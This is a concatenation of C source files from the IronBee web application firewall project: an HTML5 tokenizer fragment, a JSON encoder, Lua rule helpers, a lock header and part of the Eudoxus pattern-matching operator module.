(size_t)(idx - hs->s) + 3; hs->token_type = DATA_TEXT; return 1; } else { pos = (size_t)(idx - hs->s) + 1; } } } /** * 172.16.31.10 * http://www.w3.org/html/wg/drafts/html/master/syntax.html#doctype-state */ static int h5_state_doctype(h5_state_t* hs) { const char* idx; TRACE(); hs->token_start = hs->s + hs->pos; hs->token_type = DOCTYPE; idx = (const char*) memchr(hs->s + hs->pos, CHAR_GT, hs->len - hs->pos); if (idx == NULL) { hs->state = h5_state_eof; hs->token_len = hs->len - hs->pos; } else { hs->state = h5_state_data; hs->token_len = (size_t)(idx - hs->s) - hs->pos; hs->pos = (size_t)(idx - hs->s) + 1; } return 1; }
crustymonkey/ironbee
util/json_yajl_encode.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- JSON YAJL wrapper functions * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include "json_yajl_private.h" #include <ironbee/field.h> #include <ironbee/json.h> #include <ironbee/list.h> #include <ironbee/mm.h> #include <ironbee/string.h> #include <ironbee/types.h> #include <ironbee/util.h> #include <yajl/yajl_gen.h> #include <yajl/yajl_parse.h> #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wdocumentation" #endif #include <yajl/yajl_tree.h> #ifdef __clang__ #pragma clang diagnostic pop #endif #include <assert.h> #include <inttypes.h> static const size_t float_buf_size = 64; /** * JSON YAJL encode: Encode a list * * @param[in,out] handle YAJL generator handle * @param[in] name Name of @a list (or NULL) * @param[in] nlen Length of @a name * @param[in] list IronBee list to encode * * @returns IronBee status code */ static ib_status_t encode_list( yajl_gen handle, const char *name, size_t nlen, const ib_list_t *list) { ib_status_t rc = IB_OK; const ib_list_node_t *node; yajl_gen_status status; int errors = 0; /* Encode the name */ if ( (name != NULL) && (nlen != 0) ) { status = yajl_gen_string(handle, (const unsigned char *)name, nlen); if (status != yajl_gen_status_ok) { return IB_EUNKNOWN; } } /* Encode the map start */ status = yajl_gen_map_open(handle); if (status != yajl_gen_status_ok) { return IB_EUNKNOWN; } IB_LIST_LOOP_CONST(list, node) { const ib_field_t *field = (const ib_field_t *)node->data; ib_status_t tmprc; status = yajl_gen_string(handle, (const unsigned char *)field->name, field->nlen); if (status != yajl_gen_status_ok) { rc = IB_EUNKNOWN; ++errors; continue; } switch(field->type) { case IB_FTYPE_LIST: { const ib_list_t *list2; tmprc = ib_field_value(field, ib_ftype_list_out(&list2)); if ( (tmprc != IB_OK) && (rc == IB_OK) ) { rc = tmprc; ++errors; } else { tmprc = encode_list(handle, NULL, 0, list2); if ( (tmprc != IB_OK) && (rc == IB_OK) ) { rc = tmprc; ++errors; } } break; } case IB_FTYPE_NUM: { ib_num_t num; tmprc = ib_field_value(field, ib_ftype_num_out(&num)); if ( (tmprc != IB_OK) && (rc == IB_OK) ) { rc = tmprc; ++errors; } else { status = yajl_gen_integer(handle, num); if (status != yajl_gen_status_ok) { if (rc != IB_OK) { rc = IB_EUNKNOWN; } ++errors; } } break; } case IB_FTYPE_FLOAT: { ib_float_t fnum; tmprc = ib_field_value(field, ib_ftype_float_out(&fnum)); if ( (tmprc != IB_OK) && (rc == IB_OK) ) { rc = tmprc; ++errors; } else { char buf[float_buf_size+1]; snprintf(buf, float_buf_size, "%#.8Lg", fnum); status = yajl_gen_number(handle, buf, strlen(buf)); if (status != yajl_gen_status_ok) { if (rc != IB_OK) { rc = IB_EUNKNOWN; } ++errors; } } break; } case IB_FTYPE_NULSTR: { const char *str; tmprc = ib_field_value(field, ib_ftype_nulstr_out(&str)); if ( (tmprc != IB_OK) && (rc == IB_OK) ) { rc = tmprc; ++errors; } else if (str != NULL) { status = yajl_gen_string(handle, (unsigned char *)str, strlen(str)); if (status != yajl_gen_status_ok) { if (rc != IB_OK) { rc = IB_EUNKNOWN; } ++errors; } } break; } case IB_FTYPE_BYTESTR: { const ib_bytestr_t *bs; tmprc = ib_field_value(field, ib_ftype_bytestr_out(&bs)); if ( (tmprc != IB_OK) && (rc == IB_OK) ) { rc = tmprc; ++errors; } else if (bs != NULL) { status = yajl_gen_string(handle, ib_bytestr_const_ptr(bs), ib_bytestr_length(bs)); if (status != yajl_gen_status_ok) { if (rc != IB_OK) { rc = IB_EUNKNOWN; } ++errors; } } break; } default: /* Just ignore it */ break; } /* switch(f->type) */ } /* Encode the map end */ status = yajl_gen_map_close(handle); if (status != yajl_gen_status_ok) { return IB_EUNKNOWN; } return IB_OK; } ib_status_t ib_json_yajl_alloc_create( yajl_alloc_funcs **funcs, ib_mm_t mm ) { assert(funcs != NULL); yajl_alloc_funcs *f; json_yajl_alloc_context_t *ctx; f = ib_mm_alloc(mm, sizeof(*f)); if (f == NULL) { return IB_EALLOC; } ctx = ib_mm_alloc(mm, sizeof(*ctx)); if (ctx == NULL) { return IB_EALLOC; } ctx->mm = mm; ctx->status = IB_OK; f->malloc = json_yajl_alloc; f->realloc = json_yajl_realloc; f->free = json_yajl_free; f->ctx = ctx; *funcs = f; return IB_OK; } static void yajl_gen_cleanup(void *h) { yajl_gen handle = (yajl_gen)h; yajl_gen_free(handle); } ib_status_t ib_json_yajl_gen_create( yajl_gen *handle, ib_mm_t mm ) { yajl_alloc_funcs *funcs; yajl_gen h; ib_status_t rc; rc = ib_json_yajl_alloc_create(&funcs, mm); if (rc != IB_OK) { return rc; } h = yajl_gen_alloc(funcs); if (h == NULL) { return IB_EALLOC; } rc = ib_mm_register_cleanup(mm, yajl_gen_cleanup, h); if (rc != IB_OK) { return rc; } *handle = h; return IB_OK; } /* Encode an IB list into JSON */ ib_status_t ib_json_encode( ib_mm_t mm, const ib_list_t *list, bool pretty, char **obuf, size_t *olen) { assert(list != NULL); assert(obuf != NULL); assert(olen != NULL); yajl_gen handle; json_yajl_alloc_context_t alloc_ctx = { mm, IB_OK }; ib_status_t rc; yajl_gen_status status; yajl_alloc_funcs alloc_fns = { json_yajl_alloc, json_yajl_realloc, json_yajl_free, &alloc_ctx }; handle = yajl_gen_alloc(&alloc_fns); if (handle == NULL) { return IB_EALLOC; } /* Set pretty option */ if (pretty) { int opt = yajl_gen_config(handle, yajl_gen_beautify, 1); if (opt == 0) { return IB_EINVAL; } } rc = encode_list(handle, NULL, 0, list); if (rc != IB_OK) { return rc; } status = yajl_gen_get_buf(handle, (const unsigned char **)obuf, olen); if (status != yajl_gen_status_ok) { return IB_EUNKNOWN; } return rc; }
crustymonkey/ironbee
modules/lua_common.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Lua modules common code. * * @author <NAME> <<EMAIL>> */ #include "lua_common_private.h" #include <ironbee/types.h> #include <lua.h> #include <assert.h> ib_status_t ib_lua_load_eval(ib_engine_t *ib, lua_State *L, const char *file) { assert(ib != NULL); assert(L != NULL); assert(file != NULL); int lua_rc = luaL_loadfile(L, file); if (lua_rc != 0) { ib_log_error(ib, "Error loading \"%s\": %s (%d)", file, lua_tostring(L, -1), lua_rc); lua_pop(L, -1); return IB_EINVAL; } /* Evaluate the loaded ffi file. */ lua_rc = lua_pcall(L, 0, 0, 0); /* Only check errors if ec is not 0 (LUA_OK). */ switch(lua_rc) { case 0: return IB_OK; case LUA_ERRRUN: ib_log_error(ib, "Error evaluating file \"%s\": %s", file, lua_tostring(L, -1)); /* Get error string off of the stack. */ lua_pop(L, 1); return IB_EINVAL; case LUA_ERRMEM: ib_log_error(ib, "Failed to allocate memory during FFI evaluation."); return IB_EINVAL; case LUA_ERRERR: ib_log_error(ib, "Failed to fetch error message during FFI evaluation."); return IB_EINVAL; #if LUA_VERSION_NUM > 501 /* If LUA_ERRGCMM is defined, include a custom error for it as well. This was introduced in Lua 5.2. */ case LUA_ERRGCMM: ib_log_error(ib, "Garbage collection error during FFI evaluation."); return IB_EINVAL; #endif default: ib_log_error(ib, "Unexpected error(%d) during FFI evaluation.", lua_rc); return IB_EINVAL; } } ib_status_t ib_lua_load_func( ib_engine_t *ib, lua_State *L, const char *file, const char *func_name ) { assert(ib != NULL); assert(L != NULL); assert(file != NULL); assert(func_name != NULL); /* Load (compile) the lua module. */ ib_status_t ib_rc = luaL_loadfile(L, file); if (ib_rc != 0) { ib_log_error( ib, "Error loading file module \"%s\": %s (%d)", file, lua_tostring(L, -1), ib_rc); /* Get error string off the stack. */ lua_pop(L, 1); return IB_EINVAL; } lua_setglobal(L, func_name); return IB_OK; } ib_status_t ib_lua_func_eval_int( ib_engine_t *ib, ib_tx_t *tx, lua_State *L, const char *func_name, int *return_value ) { assert(ib != NULL); assert(tx != NULL); assert(L != NULL); assert(func_name != NULL); assert(return_value != NULL); int lua_rc; if (!lua_checkstack(L, 5)) { ib_log_error_tx(tx, "Not enough stack space to call Lua rule %s.", func_name); return IB_EINVAL; } /* Push the function on the stack. Preparation to call. */ lua_getglobal(L, func_name); if (!lua_isfunction(L, -1)) { ib_log_error_tx(tx, "Variable \"%s\" is not a LUA function", func_name); /* Remove wrong parameter from stack. */ lua_pop(L, 1); return IB_EINVAL; } /* Create a table for the coming function call. */ lua_newtable(L); lua_pushstring(L, "tx"); /* Push key. */ lua_pushlightuserdata(L, (ib_tx_t *)tx); /* Push value. */ lua_settable(L, -3); /* Assign to -3 key -2 and val -1. */ lua_pushstring(L, "ib_tx"); /* Push key. */ lua_pushlightuserdata(L, tx); /* Push value. */ lua_settable(L, -3); /* Assign to -3 key -2 and val -1. */ lua_pushstring(L, "ib_engine"); /* Push key. */ lua_pushlightuserdata(L, ib); /* Push value. */ lua_settable(L, -3); /* Assign to -3 key -2 and val -1*/ /* Build an ironbee object. */ lua_getglobal(L, "ibapi");/* Push ib table (module) onto stack. */ lua_pushstring(L, "ib"); /* Push the key we will store the result at. */ lua_pushstring(L, "ruleapi"); /* Push ruleapi. This is the sub-api. */ lua_gettable(L, -3); /* Get ruleapi table out of ibapi. */ lua_pushstring(L, "new"); /* Push the name of the function. */ lua_gettable(L, -2); /* Get the ruleapi.new function. */ lua_pushstring(L, "ruleapi"); /* Get ruleapi for self. */ lua_gettable(L, -4); /* Get ruleapi table from ibapi table. */ lua_pushlightuserdata(L, (ib_tx_t *)tx); lua_pushlightuserdata(L, ib); /* Push ib_engine argument to new. */ lua_pushlightuserdata(L, tx); /* Push ib_tx argument to new. */ lua_rc = lua_pcall(L, 4, 1, 0); /* Make new ibapi.ruleapi object. */ if (lua_rc != 0) { ib_log_error_tx(tx, "Error running Lua Rule \"%s\": %s", func_name, lua_tostring(L, -1)); /* Pop (1) error string, (2) string "ib", and (3) new table, (4) func */ lua_pop(L, 5); return IB_EINVAL; } /* At this point the stack is: * | rule function | * | anonymous table | * | ib api table | * | "ib" string | * | ruleapi table | * | new ib obj | * Set the table at -5 the key "ib" = the new ib api object. */ lua_settable(L, -5); /* Pop the ib module table off the stack leaving just the * user rule function and the anonymous table we are building. */ lua_pop(L, 2); /* Call the function on the stack with 1 input, 0 outputs, and errmsg=0. */ lua_rc = lua_pcall(L, 1, 1, 0); /* Only check errors if ec is not 0 (LUA_OK). */ if (lua_rc != 0) { switch(lua_rc) { case LUA_ERRRUN: ib_log_error_tx(tx, "Error running Lua Rule \"%s\": %s", func_name, lua_tostring(L, -1)); /* Get error string off of the stack. */ lua_pop(L, 1); return IB_EINVAL; case LUA_ERRMEM: ib_log_error_tx(tx, "Failed to allocate memory during Lua rule."); return IB_EINVAL; case LUA_ERRERR: ib_log_error_tx(tx, "Failed to fetch error message during Lua rule."); return IB_EINVAL; #if LUA_VERSION_NUM > 501 /* If LUA_ERRGCMM is defined, include a custom error for it as well. This was introduced in Lua 5.2. */ case LUA_ERRGCMM: ib_log_error_tx(tx, "Garbage collection error during Lua rule."); return IB_EINVAL; #endif default: ib_log_error_tx(tx, "Unexpected error (%d) during Lua rule.", lua_rc); return IB_EINVAL; } } /* If there is no error, pull the return value off. */ *return_value = lua_tointeger(L, -1); lua_pop(L, -1); return IB_OK; } ib_status_t ib_lua_require(ib_engine_t *ib, lua_State *L, const char* module_name, const char* required_name) { assert(ib != NULL); assert(L != NULL); assert(module_name != NULL); assert(required_name != NULL); int lua_rc; lua_getglobal(L, "require"); lua_pushstring(L, required_name); lua_rc = lua_pcall(L, 1, 1, 0); if (lua_rc != 0) { ib_log_error(ib, "Error in require \"%s\": %s (%d)", required_name, lua_tostring(L, -1), lua_rc); lua_pop(L, -1); return IB_EINVAL; } /* Take the result of require(required_name) on the stack and assign it. */ lua_setglobal(L, module_name); return IB_OK; } void ib_lua_add_require_path( ib_engine_t *ib_engine, lua_State *L, const char *path ) { assert(ib_engine != NULL); assert(L != NULL); assert(path != NULL); lua_getglobal(L, "package"); lua_pushstring(L, "path"); lua_pushstring(L, "path"); lua_gettable(L, -3); lua_pushstring(L, ";"); lua_pushstring(L, path); lua_concat(L, 3); lua_settable(L, -3); return; } void ib_lua_add_require_cpath( ib_engine_t *ib_engine, lua_State *L, const char *path ) { assert(ib_engine != NULL); assert(L != NULL); assert(path != NULL); lua_getglobal(L, "package"); lua_pushstring(L, "cpath"); lua_pushstring(L, "cpath"); lua_gettable(L, -3); lua_pushstring(L, ";"); lua_pushstring(L, path); lua_concat(L, 3); lua_settable(L, -3); return; }
crustymonkey/ironbee
include/ironbee/lock.h
<gh_stars>1-10 /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Lock Utilities * * @author <NAME> <<EMAIL>> */ #ifndef _IB_LOCK_H_ #define _IB_LOCK_H_ #include <ironbee/build.h> #include <ironbee/types.h> #include <pthread.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup IronBeeUtilLocking Locking * @ingroup IronBeeUtil * Locking primitives. * @{ */ /** * @brief The lock type for ironbee locks. */ typedef pthread_mutex_t ib_lock_t; /** * @param[in] lock The lock. */ ib_status_t DLL_PUBLIC ib_lock_init(ib_lock_t *lock); /** * @param[in] lock The lock. */ ib_status_t DLL_PUBLIC ib_lock_lock(ib_lock_t *lock); /** * @param[in] lock The lock. */ ib_status_t DLL_PUBLIC ib_lock_unlock(ib_lock_t *lock); /** * @param[in] lock The lock. */ ib_status_t DLL_PUBLIC ib_lock_destroy(ib_lock_t *lock); /** * @} IronBeeUtilLocking Locking */ #ifdef __cplusplus } #endif #endif // _IB_LOCK_H_
crustymonkey/ironbee
modules/ee_oper.c
<filename>modules/ee_oper.c /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Eudoxus operator Module * * This module adds Eudoxus operators. * * Note: AC Patterns do not work ee_match due to current limitations in * calculating what the match length should be. They do work with ee. * * @author <NAME> <<EMAIL>> */ #include <ironautomata/eudoxus.h> #include <ironbee/capture.h> #include <ironbee/context.h> #include <ironbee/engine_state.h> #include <ironbee/hash.h> #include <ironbee/mm_mpool_lite.h> #include <ironbee/module.h> #include <ironbee/operator.h> #include <ironbee/path.h> #include <ironbee/rule_engine.h> #include <ironbee/util.h> #include <assert.h> #include <unistd.h> /** Module name. */ #define MODULE_NAME eudoxus_operators /** Stringified version of MODULE_NAME */ #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) #ifndef DOXYGEN_SKIP IB_MODULE_DECLARE(); #endif /* See definition below for documentation. */ typedef struct ee_config_t ee_config_t; typedef struct ee_operator_data_t ee_operator_data_t; typedef struct ee_tx_data_t ee_tx_data_t; struct ee_config_t { /** Hash of eudoxus patterns defined via the LoadEudoxus directive. */ ib_hash_t *eudoxus_pattern_hash; }; /* Operator instance data. */ struct ee_operator_data_t { /** Unique ID for this operator instance. */ char id[IB_UUID_LENGTH]; /** Pointer to the eudoxus pattern for this instance. */ ia_eudoxus_t *eudoxus; }; /* Callback data for ee match */ struct ee_callback_data_t { ib_tx_t *tx; ib_field_t *capture; uint32_t match_len; }; typedef struct ee_callback_data_t ee_callback_data_t; /* Per-tx inter-call data */ struct ee_tx_data_t { /** Eudoxus state */ ia_eudoxus_state_t *eudoxus_state; /** automata callback data */ ee_callback_data_t *ee_cbdata; /** Have we reached the end of the automata? */ bool end_of_automata; }; /** * Access configuration data. * * @param[in] ib IronBee engine. * @return * - configuration on success. * - NULL on failure. */ static ee_config_t *ee_get_config( ib_engine_t *ib ) { assert(ib != NULL); ib_module_t *module; ib_context_t *context; ib_status_t rc; ee_config_t *config; rc = ib_engine_module_get(ib, MODULE_NAME_STR, &module); if (rc != IB_OK) { return NULL; } context = ib_context_main(ib); if (context == NULL) { return NULL; } rc = ib_context_module_config(context, module, &config); if (rc != IB_OK) { return NULL; } return config; } /** * Get or create an ib_hash_t inside of @c tx for storing the operator state. * * The hash is stored at the key @c HASH_NAME_STR. * * @param[in] m This module. * @param[in] tx The transaction containing @c tx->data which holds * the @a operator_data object. * @param[out] hash The fetched or created rule data hash. This is set * to NULL on failure. * * @return * - IB_OK on success. * - IB_EALLOC on allocation failure */ static ib_status_t get_or_create_operator_data_hash( const ib_module_t *m, ib_tx_t *tx, ib_hash_t **hash ) { assert(tx != NULL); ib_status_t rc; /* Get or create the hash that contains the rule data. */ rc = ib_tx_get_module_data(tx, m, hash); if ( (rc == IB_OK) && (*hash != NULL) ) { return IB_OK; } rc = ib_hash_create(hash, tx->mm); if (rc != IB_OK) { return rc; } rc = ib_tx_set_module_data(tx, m, *hash); if (rc != IB_OK) { *hash = NULL; } return rc; } /** * Return the per-transaction state for the operator. * * @param[in] m This module. * @param[in,out] tx Transaction to lookup the data in. * @param[in] instance_data Pointer to the operator instance data. * The pointer value is used key to lookup the instance * state. * @param[out] tx_data Returns the tx data if found. * * @returns * - IB_OK on success. * - IB_ENOENT if the state is not found. The caller should create it * and add it to the hash using @ref set_ee_tx_data */ static ib_status_t get_ee_tx_data( const ib_module_t *m, ib_tx_t *tx, ee_operator_data_t *instance_data, ee_tx_data_t **tx_data ) { assert(tx != NULL); assert(instance_data != NULL); assert(tx_data != NULL); ib_hash_t *hash; ib_status_t rc; rc = get_or_create_operator_data_hash(m, tx, &hash); if (rc != IB_OK) { return rc; } rc = ib_hash_get_ex(hash, tx_data, instance_data->id, IB_UUID_LENGTH - 1); if (rc != IB_OK) { *tx_data = NULL; } return rc; } /** * Store the per-transaction data for use with the operator. * * @param[in] m This module. * @param[in,out] tx Transaction to store the data in. * @param[in] instance_data Pointer to the operator instance data. * @param[in] tx_data Data to be stored. * * @returns * - IB_OK on success. * - IB_ENOENT if the structure does not exist. */ static ib_status_t set_ee_tx_data( const ib_module_t *m, ib_tx_t *tx, ee_operator_data_t *instance_data, ee_tx_data_t *tx_data ) { assert(tx != NULL); assert(instance_data != NULL); assert(tx_data != NULL); ib_hash_t *hash; ib_status_t rc; rc = get_or_create_operator_data_hash(m, tx, &hash); if (rc != IB_OK) { return rc; } rc = ib_hash_set_ex(hash, instance_data->id, IB_UUID_LENGTH - 1, tx_data); return rc; } /** * Load a eudoxus pattern so it can be used in rules. * * The filename should point to a compiled automata. If a relative path is * given, it will be loaded relative to the current configuration file. * * @param[in] cp Configuration parser. * @param[in] name Directive name. * @param[in] pattern_name Name to associate with the pattern. * @param[in] filename Filename to load. * @param[in] cbdata Callback data (unused) * @return * - IB_OK on success. * - IB_EEXIST if the pattern has already been defined. * - IB_EINVAL if there was an error loading the automata. */ static ib_status_t load_eudoxus_pattern_param2(ib_cfgparser_t *cp, const char *name, const char *pattern_name, const char *filename, void *cbdata) { ib_engine_t *ib; ib_status_t rc; const char *automata_file; ia_eudoxus_result_t ia_rc; ib_hash_t *eudoxus_pattern_hash; ia_eudoxus_t *eudoxus; const ee_config_t* config; ib_mm_t mm_tmp; void *tmp; assert(cp != NULL); assert(cp->ib != NULL); assert(pattern_name != NULL); assert(filename != NULL); mm_tmp = ib_engine_mm_temp_get(cp->ib); ib = cp->ib; config = ee_get_config(ib); assert(config != NULL); eudoxus_pattern_hash = config->eudoxus_pattern_hash; assert(eudoxus_pattern_hash != NULL); /* Check if the pattern name is already in use */ rc = ib_hash_get(eudoxus_pattern_hash, &tmp, pattern_name); if (rc == IB_OK) { ib_log_error(cp->ib, MODULE_NAME_STR ": Pattern named \"%s\" already defined", pattern_name); return IB_EEXIST; } automata_file = ib_util_relative_file(mm_tmp, cp->curr->file, filename); if (access(automata_file, R_OK) != 0) { ib_log_error(cp->ib, MODULE_NAME_STR ": Error accessing eudoxus automata file: %s.", automata_file); return IB_EINVAL; } ia_rc = ia_eudoxus_create_from_path(&eudoxus, automata_file); if (ia_rc != IA_EUDOXUS_OK) { ib_log_error(cp->ib, MODULE_NAME_STR ": Error loading eudoxus automata file[%d]: %s.", ia_rc, automata_file); return IB_EINVAL; } rc = ib_hash_set(eudoxus_pattern_hash, pattern_name, eudoxus); if (rc != IB_OK) { ia_eudoxus_destroy(eudoxus); return rc; } return IB_OK; } /** * Eudoxus first match callback function. Called when a match occurs. * * Always returns IA_EUDOXUS_CMD_STOP to stop matching (unless an * error occurs). If capture is enabled the matched text will be stored in the * capture variable. * * @param[in] engine Eudoxus engine. * @param[in] output Output defined by automata. * @param[in] output_length Length of output. * @param[in] input Current location in the input (first character * after the match). * @param[in,out] cbdata Pointer to the ee_callback_data_t instance we are * handling. This is needed for handling capture * of the match. * @return IA_EUDOXUS_CMD_ERROR on error, IA_EUDOXUS_CMD_STOP otherwise. */ static ia_eudoxus_command_t ee_first_match_callback(ia_eudoxus_t* engine, const char *output, size_t output_length, const uint8_t *input, void *cbdata) { assert(cbdata != NULL); assert(output != NULL); ib_status_t rc; ee_callback_data_t *ee_cbdata = cbdata; ib_tx_t *tx = ee_cbdata->tx; ib_field_t *capture = ee_cbdata->capture; ib_bytestr_t *bs; ib_field_t *field; const char *name; assert(tx != NULL); ee_cbdata->match_len = output_length; if (capture != NULL) { rc = ib_capture_clear(capture); if (rc != IB_OK) { ib_log_error_tx(tx, "Error clearing captures: %s", ib_status_to_string(rc)); return IA_EUDOXUS_CMD_ERROR; } /* Create a byte-string representation */ rc = ib_bytestr_dup_mem(&bs, tx->mm, (const uint8_t *)output, output_length); if (rc != IB_OK) { return IA_EUDOXUS_CMD_ERROR; } name = ib_capture_name(0); rc = ib_field_create(&field, tx->mm, name, strlen(name), IB_FTYPE_BYTESTR, ib_ftype_bytestr_in(bs)); if (rc != IB_OK) { return IA_EUDOXUS_CMD_ERROR; } rc = ib_capture_set_item(capture, 0, tx->mm, field); if (rc != IB_OK) { return IA_EUDOXUS_CMD_ERROR; } } return IA_EUDOXUS_CMD_STOP; } /** * Create an instance of the @c ee operator. * * Looks up the automata name and adds the automata to the operator instance. * * @param[in] ctx Current context. * @param[in] mm Memory manager. * @param[in] parameters Automata name. * @param[out] instance_data Instance data. * @param[in] cbdata Callback data (unused). */ static ib_status_t ee_operator_create( ib_context_t *ctx, ib_mm_t mm, const char *parameters, void *instance_data, void *cbdata ) { assert(ctx != NULL); assert(parameters != NULL); assert(instance_data != NULL); ib_status_t rc; ia_eudoxus_t* eudoxus; ee_operator_data_t *operator_data; ib_module_t *module; ib_engine_t *ib = ib_context_get_engine(ctx); const ee_config_t *config = ee_get_config(ib); const ib_hash_t *eudoxus_pattern_hash; assert(config != NULL); assert(config->eudoxus_pattern_hash != NULL); /* Get my module object */ rc = ib_engine_module_get(ib, MODULE_NAME_STR, &module); if (rc != IB_OK) { ib_log_error(ib, "Error getting eudoxus operator module object: %s", ib_status_to_string(rc)); return rc; } /* Allocate a rule data object, populate it */ operator_data = ib_mm_alloc(mm, sizeof(*operator_data)); if (operator_data == NULL) { return IB_EALLOC; } eudoxus_pattern_hash = config->eudoxus_pattern_hash; rc = ib_hash_get(eudoxus_pattern_hash, &eudoxus, parameters); if (rc == IB_ENOENT ) { ib_log_error(ib, MODULE_NAME_STR ": No eudoxus automata named %s found.", parameters); return rc; } else if (rc != IB_OK) { ib_log_error(ib, MODULE_NAME_STR ": Failed to setup eudoxus automata operator."); return rc; } operator_data->eudoxus = eudoxus; rc = ib_uuid_create_v4(operator_data->id); if (rc != IB_OK) { ib_log_error(ib, MODULE_NAME_STR ": Failed to setup eudoxus automata operator id."); return rc; } *(ee_operator_data_t **)instance_data = operator_data; return IB_OK; } /** * Helper function for stream and non-stream execution. * * * * @param[in] tx Transaction * @param[in] operator_data Operator data. * @param[in] data Per-transaction data for this operator instance. * @param[in] field Input field. * @param[in] full_match If true, the full input text must be matched. * @param[out] result Result of execution. */ static ib_status_t ee_operator_execute_common( ib_tx_t *tx, ee_operator_data_t *operator_data, ee_tx_data_t *data, const ib_field_t *field, bool full_match, ib_num_t *result ) { ib_status_t rc; ia_eudoxus_result_t ia_rc; ia_eudoxus_state_t* state = NULL; const char *input; size_t input_len; assert(tx != NULL); assert(operator_data != NULL); assert(data != NULL); *result = 0; if (field->type == IB_FTYPE_NULSTR) { rc = ib_field_value(field, ib_ftype_nulstr_out(&input)); if (rc != IB_OK) { return rc; } input_len = strlen(input); } else if (field->type == IB_FTYPE_BYTESTR) { const ib_bytestr_t *bs; rc = ib_field_value(field, ib_ftype_bytestr_out(&bs)); if (rc != IB_OK) { return rc; } input = (const char *)ib_bytestr_const_ptr(bs); input_len = ib_bytestr_length(bs); } else if (field->type == IB_FTYPE_LIST) { return IB_ENOTIMPL; } else { return IB_EINVAL; } if (data->end_of_automata) { /* Nothing to do. */ return IB_OK; } /* Run eudoxus */ state = data->eudoxus_state; rc = IB_OK; ia_rc = ia_eudoxus_execute(state, (const uint8_t *)input, input_len); if (ia_rc == IA_EUDOXUS_STOP) { if (full_match) { if (data->ee_cbdata->match_len == input_len) { *result = 1; } } else { *result = 1; } rc = IB_OK; } else if (ia_rc == IA_EUDOXUS_END) { data->end_of_automata = true; rc = IB_OK; } else if (ia_rc != IA_EUDOXUS_OK) { rc = IB_EUNKNOWN; } return rc; } /** * Common code for @c ee and @c ee_match operators. * * At first match the operator will stop searching. If @c full_match is * true, the entire input must be matched for success. * * The capture option is supported; the matched pattern will be placed in the * capture variable if a match occurs. * * @param[in] tx Current transaction. * @param[in] instance_data Instance data needed for execution. * @param[in] field The field to operate on. * @param[in] capture If non-NULL, the collection to capture to. * @param[in] full_match If true, the full input text must be matched. * @param[out] result The result of the operator 1=true 0=false. * @param[in] cbdata Pointer to the module instance (ib_module_t *) */ static ib_status_t ee_match_operator_execute_nonstream( ib_tx_t *tx, void *instance_data, const ib_field_t *field, ib_field_t *capture, bool full_match, ib_num_t *result, void *cbdata ) { ia_eudoxus_result_t ia_rc; ee_operator_data_t *operator_data = instance_data; ia_eudoxus_t* eudoxus = operator_data->eudoxus; assert(tx != NULL); assert(instance_data != NULL); *result = 0; /* Not streaming, so create data for this use only */ ee_callback_data_t local_cbdata = { tx, capture, 0 }; ee_tx_data_t local_data; local_data.ee_cbdata = &local_cbdata; ia_rc = ia_eudoxus_create_state(&local_data.eudoxus_state, eudoxus, ee_first_match_callback, (void *)&local_cbdata); if (ia_rc != IA_EUDOXUS_OK) { if (local_data.eudoxus_state != NULL) { ia_eudoxus_destroy_state(local_data.eudoxus_state); } return IB_EINVAL; } local_data.end_of_automata = false; return ee_operator_execute_common( tx, operator_data, &local_data, field, full_match, result ); } /** * Execute the @c ee (formerly @c ee) operator. * * At first match, the operator will stop searching and return true. * * The capture option is supported; the matched pattern will be placed in the * capture variable if a match occurs. * * @param[in] tx Current transaction. * @param[in] field The field to operate on. * @param[in] capture If non-NULL, the collection to capture to. * @param[out] result The result of the operator 1=true 0=false. * @param[in] instance_data Operator instance data needed for execution * (ee_operator_data_t). * @param[in] cbdata Pointer to the module instance (ib_module_t *) */ static ib_status_t ee_operator_execute( ib_tx_t *tx, const ib_field_t *field, ib_field_t *capture, ib_num_t *result, void *instance_data, void *cbdata ) { return ee_match_operator_execute_nonstream( tx, instance_data, field, capture, false, result, cbdata); } /** * Execute the @c ee_match operator. * * At first match the operator will stop searching, if it matches the entire * input, it returns true. * * The capture option is supported; the matched pattern will be placed in the * capture variable if a match occurs. * * 